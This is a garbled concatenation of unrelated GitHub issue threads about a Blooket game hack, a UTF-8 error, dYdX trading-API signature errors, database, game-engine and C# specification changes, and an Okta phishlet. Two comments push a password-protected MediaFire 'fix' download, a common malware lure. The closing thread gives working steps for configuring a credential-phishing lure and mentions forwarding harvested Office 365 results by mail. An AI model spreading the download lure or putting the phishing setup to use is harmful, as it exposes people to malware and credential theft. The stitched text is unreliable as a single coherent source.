https://github.com/notifications/unsubscribe-auth/AYVJYOCBH4V6XAE3TE2ASZ3VETGQVANCNFSM5TECJFJQ
.
You are receiving this because you commented.Message ID:
@.***>

go to the blooket gamemode that you want to hack in, type this,"Javascript:(pasted code)" It should look like this  then just click enter hope this helped :)

I didnt know you could use it in the url

so i tried to copy the raw but it says somthing went wrong, any help?

so i tried to copy the raw but it says somthing went wrong, any help?

did you click the button that said raw or the 2 overlapping squares to the right of it?

highlight all the text

sometimes it works and some times it doesn't


11011 / 80042b03 errror No mapping for the Unicode character exists in the target multi-byte code

Hi
Am getting the following error:
ERROR - WebResponse.CreateFromHttp: -2147210474 (11030 / 80042b16), An error occurred while creating response from http
-2147023783 (80070459): No mapping for the Unicode character exists in the target multi-byte code page.
ERROR - WebClient.Execute: -2147210493 (11011 / 80042b03), An error occurred during execute
-2147210474 (80042b16): An error occurred while creating response from http
-2147023783 (80070459): No mapping for the Unicode character exists in the target multi-byte code
This is when a £ (GB pound symbol) is included in the message - I have installed version v4.1.3 but it has not resolved the problem
Thanks

Yeah, UTF-8 and such are a known issue and is the biggest item on the roadmap. I don't have an estimate on when it'll get finished though, sorry about that. See #110


[CQLReplicator on Glue] Add a flag to remove parquet files with primary keys and records from migration.ledger receptively

Changes in cqlreplicator and CQLReplicator.scala

cleanup state for specific keyspace and table.
Params: src_keyspace, src_table, s3_landing_zone


Working example needed for mainnet with Infura web3 provider

Can anybody provide a working example for placing orders using the ETH mainnet and Infura web3 provider?
I followed the workarounds in the issue lists but still getting this error:
python main.py
2021-12-01T17:10:00.000Z
Traceback (most recent call last):
  File "/app/main.py", line 12, in <module>
    job()
  File "/app/sniper/sniper.py", line 108, in job
    place_order(order_params)
  File "/app/sniper/sniper.py", line 69, in place_order
    order_creation_response = client.private.create_order(**order_params)
  File "/usr/local/lib/python3.10/site-packages/dydx3/modules/private.py", line 538, in create_order
    return self._post(
  File "/usr/local/lib/python3.10/site-packages/dydx3/modules/private.py", line 78, in _post
    return self._private_request(
  File "/usr/local/lib/python3.10/site-packages/dydx3/modules/private.py", line 64, in _private_request
    return request(
  File "/usr/local/lib/python3.10/site-packages/dydx3/helpers/requests.py", line 33, in request
    raise DydxApiError(response)
dydx3.errors.DydxApiError: DydxApiError(status_code=400, response={'errors': [{'msg': 'Invalid signature for order'}]})
make: *** [Makefile:4: run] Error 1

FYI, I configured my browser to keep my credentials in the local storage("Remember me"), and grabbed STARK_KEY_PAIRS, API_KEY_PAIRS from there. But it still doesn't work giving me the above error.
Any help would be appreciated!

Figured it out.
position_id field was wrong, which we can get from this request:
account = client.private.get_account(
  ethereum_address='0x0123...',
)

It's in the docs but not quite clear yet.
The point is that you will get different responses with and without the param ethereum_address, positionId can be retrieved only when the param is given.
woohoo! now it works!

Figured it out. position_id field was wrong, which we can get from this request:
account = client.private.get_account(
  ethereum_address='0x0123...',
)

It's in the docs but not quite clear yet. The point is that you will get different responses with and without the param ethereum_address, positionId can be retrieved only when the param is given. woohoo! now it works!

when i run this api ,and got a error:
account = client.private.get_account(ethereum_address='0x0123...')
\dydx3\helpers\requests.py", line 33, in request
raise DydxApiError(response)
dydx3.errors.DydxApiError: DydxApiError(status_code=400, response={'errors': [{'msg': 'API key not found'}]})
then i run aip :
api_key_response = client.eth_private.create_api_key()
got error:
'Field with relationship to another table must match other table'
is it right?
what i can do next?

https://github.com/dydxprotocol/dydx-v3-python/issues/62#issuecomment-933427662
To explain in more detail:
Login to the dashboard(configure it to remember you for the next logins), and open the browser console, look for Local Storage in the "Application" tab, then you will be able to find out "Stark Key Pair" and "API Credentials".
Use those info for initializing the client, it should work.
Hope it helps!

#62 (comment)
To explain in more detail: Login to the dashboard(configure it to remember you for the next logins), and open the browser console, look for Local Storage in the "Application" tab, then you will be able to find out "Stark Key Pair" and "API Credentials". Use those info for initializing the client, it should work. See here for the implementation example. Hope it helps!

thanks，i am check it out , but there is no such info ,is there something wrong ?

#62 (comment)
To explain in more detail: Login to the dashboard(configure it to remember you for the next logins), and open the browser console, look for Local Storage in the "Application" tab, then you will be able to find out "Stark Key Pair" and "API Credentials". Use those info for initializing the client, it should work. See here for the implementation example. Hope it helps!

thanks ，i check it out , and get stark key , but there is no API credectials . My account has no money , is the reason that cause no API credectials ?

You didn't enable trading (sign the transaction in the metamask) I guess?

OK ，thanks a lot

For me this is happening while I am 100% sure my .env is correct. I have created my keys using the retrieve keys method etc.
Placing orders simply won't work using the following code:
`import datetime
import websockets, json, time
import pandas as pd
import os
import dydx3
import requests
import dotenv
from dotenv import load_dotenv
from sortedcontainers import SortedDict
from decimal import Decimal
from web3 import Web3
dYdX dependencies
from dydx3 import Client
from dydx3.constants import *
load_dotenv()
dydx_mainnet = 'https://api.dydx.exchange'
dydx_staging = 'https://api.stage.dydx.exchange'
web3 = Web3(Web3.HTTPProvider(API_HOST_ROPSTEN))
ropsten_usdc = '0x8707a5bf4c2842d46b31a405ba41b858c0f876c4'
PRIVATE_KEY = os.getenv('PRIVATE_KEY')
API_KEY = os.getenv('API_KEY')
API_SECRET = os.getenv('API_SECRET')
API_PASSPHRASE = os.getenv('API_PASSPHRASE')
STARK_PRIVATE_KEY = os.getenv('STARK_PRIVATE_KEY')
ETH_ADDRESS = os.getenv('ETH_ADDRESS')
STARK_PUBLIC_KEY = os.getenv('STARK_PUBLIC_KEY')
STARK_PUBLIC_KEY_Y_COORDINATE = os.getenv('STARK_PUBLIC_KEY_Y_COORDINATE')
client = Client(
host=API_HOST_ROPSTEN,
api_key_credentials={'key': API_KEY,
'secret': API_SECRET,
'passphrase': API_PASSPHRASE},
stark_private_key=STARK_PRIVATE_KEY,
default_ethereum_address=ETH_ADDRESS,
)
Get our position ID.
account_response = client.private.get_account(ethereum_address=ETH_ADDRESS)
position_id = account_response.data['account']['positionId']
Post an order at a price that is unlikely to match.
order_params = {
'position_id': position_id,
'market': MARKET_BTC_USD,
'side': ORDER_SIDE_BUY,
'order_type': ORDER_TYPE_LIMIT,
'post_only': True,
'size': '0.01',
'price': '44417',
'limit_fee': '0.015',
'expiration_epoch_seconds': time.time() + 120,
}
order_response = client.private.create_order(**order_params)
order_id = order_response.data['order']['id']`
@CrazyOptimist  would be amazing if you could help me a bit here. Basically been staring at this and the docs for four hours now. Also really cool you shared your sniper program online.

The error is from the Ethereum mainnet or Ropsten network?

The error is from the Ethereum mainnet or Ropsten network?

I get this error from Ropsten. I basically first want to do some testing there before playing around with real money. The account I am using has already placed trades through the web application.

If you guys are using a ROPSTEN account the problem is that when you authorize the client the network_id default value is 1 which is for the mainnet option. So on your client initialization just specify: network_id = 3, and the problem should be solved :)

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/6mkbh6xhau31g
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Fixed accidential incompatibility due to wrong implementation of "send_logs_level" setting

For changelog. Remove if this is non-significant change.
Category (leave one):

Bug Fix

Short description (up to few sentences):
There was accidential backward incompatibility in previous versions: new client cannot send query to old servers showing Unknown setting 'send_logs_level' error message.

Docs check - known issue
Autotests - obsolete Jenkins tests.


Old aircraft route reappearing on radar screen after reset

I encountered a small issue with aircraft routes being displayed on the radar map. When a simulation is reset while an aircraft with active waypoint is currently selected (using double click before reset), the route of that aircraft reappears on the screen when a new aircraft is created after reset. This seems to be purely visual, the old route does not apply to the new aircraft. After double clicking the new aircraft, the old route disappears. Below, you can find a screen recording showing what happens:
https://user-images.githubusercontent.com/26272893/144228606-3fb5645c-da45-4bb8-bc36-d47c1a1aed77.mp4

Should be fixed in 8382e60!


styling for client cert select dialog

Pull Request Test Coverage Report for Build 1059

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 45.061%

Totals

Change from base Build 1053:
0.0%

Covered Lines:
3089

Relevant Lines:
6091

💛  - Coveralls


Fixed gosec

Description
Fixed gosec
Fixes #295
Type of change

Bump-up dependent library (no changes in the code)

Testing steps
Can be checked on CI
Checklist

[ ] make before_commit passes
[ ] updated documentation wherever necessary
[ ] added or modified tests if necessary
[ ] updated schemas and validators in insights-data-schemas in case of input/output change

Codecov Report

Merging #359 (13261f4) into master (287f2fc) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #359   +/-   ##
=======================================
  Coverage   72.53%   72.53%
=======================================
  Files          11       11
  Lines         579      579
=======================================
  Hits          420      420
  Misses        134      134
  Partials       25       25

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 287f2fc...13261f4. Read the comment docs.


Unify array_type and array type usage in the specification

There are a number of places in the spec that talk about arrays and their types, but they do not use a consistent phrase; instead, some use array_type, and some use array type. As an example, type inference uses array type, while conversions use array_type. This makes it difficult to track down all the behavior associated with array types in the specification. It seems like the spec should unify on array_type, rather than array type, but I don't have a real opinion other than it shouldn't use both.

@333fred, @jskeet, @BillWagner  In principle, I agree; however, this is just one instance of a much larger situation.
We often define a grammar rule name of the form xxx_yyy, but thereafter refer to it in narrative simply as "xxx yyy" and sometimes using the italicized rule name. (See type_declaration vs. "type declaration," class_declaration vs. "class declaration," struct_declaration vs. "struct declaration," interface_declaration vs. "interface declaration," and so on.)
As I have been writing formal Ecma specs for new version features, I have (typically) used your suggested approach. That is, to be as precise as possible.
If one were starting from scratch, one would do well to follow your suggestion, but I think that we are way beyond that point, and except in cases where the English-language version isn't precise enough, we can/should change those as we find them.
Given our limited resources, I propose we take no action w.r.t simply cleaning up the existing usage.
BTW, it's not simply a matter of replacing a space with an underscore and making the whole term italic, for something like, "... both a struct and class declaration have ..." would need to be rewritten as "... both a struct_declaration and class_declaration have ...".
I just looked at the JLS to see how how the Java folks deal with this. They seem to never use the (mixed-case) grammar rule name in narrative, but rather, they use the English equivalent without any up-casing.


Add ImageFormatSetting::Guess to image loader

Objective

Allow using image assets that don't have an extensions and whose format is unknown. This is useful for loading images from arbitrary HTTP URLs.

Solution

This PR adds a new variant to ImageFormatSetting called Guess. The loader will use image::guess_format to deduce the format based on the content of the file.

Testing

I locally removed the extension of bevy_bird_dark, and ran a modified version of the sprite example:

//! Displays a single [`Sprite`], created from an image.

use bevy::{
    prelude::*,
    render::texture::{ImageFormatSetting, ImageLoaderSettings},
};

fn main() {
    App::new()
        .add_plugins(DefaultPlugins)
        .add_systems(Startup, setup)
        .run();
}

fn setup(mut commands: Commands, asset_server: Res<AssetServer>) {
    commands.spawn(Camera2dBundle::default());
    commands.spawn(SpriteBundle {
        texture: asset_server
            .load_with_settings("branding/bevy_bird_dark", |s: &mut ImageLoaderSettings| {
                s.format = ImageFormatSetting::Guess
            }),
        ..default()
    });
}

Changelog
Added
ImageFormatSetting::Guess to automatically guess the format of an image asset from its content.

Note: when loading images without extension, a warning gets logged to the console:
Multiple AssetLoaders found for Asset: Some(TypeId { t:<PHONE_NUMBER>513703432,<PHONE_NUMBER>300803229) }); Path: Some(branding/bevy_bird_dark); Extension: None
However this warning was already present on main when using ImageFormatSetting::Format. I believe it's because of HdrTextureLoader. ImageLoader is always registered after HdrTextureLoader, so it should take precedence over it.

random ci failure, trying to retrigger it

The first commit from this PR was taken from https://github.com/bevyengine/bevy/pull/11998/commits/6b3ffac85c25cfdf0313448122884e35d8f9b4a4 by @robtfm. @Azorlogh, in the future, either add Co-authored by: to your Git commit message or base your branch directly on old work to make sure credit is preserved properly.

No worries! This change was pretty mechanical: very reasonable that the first step looked extremely similar <3


Okta phishlet not working

DO NOT ASK FOR PHISHLETS.
DO NOT ASK FOR HELP CREATING PHISHLETS.
DO NOT ASK TO FIX PHISHLETS.
DO NOT ADVERTISE OR TRY TO SELL PHISHLETS.
EXPECT A BAN OTHERWISE. THANK YOU!
REPORT ONLY BUGS OR FEATURE SUGGESTIONS.
Are there any fixes for the okta phishlet as of now its automatically redirecting me toward another page .  going to double check if the key is correct in config

got it working, just needed to add verification key and token at the end or the url, found out both by going to config and pulling they key and token at the end of the url created. ex: ?verification_key=verificationtoken

I worked my o365 phishlets with the author on icq https://icq.im/mrgretzky now forwarding results to mail..... So I believe could fix your

Type config to get the verification token.
Run  lures edit path <id> ?verification_key=verificationtoken
If that doesn't work try  lures edit path <id> verification_key=verificationtoken
Or just the verification token. The goal is to make a lure attach to the correct verification token. Then your site should redirect to xxxxx.com/login/login.htm if everything else was done right.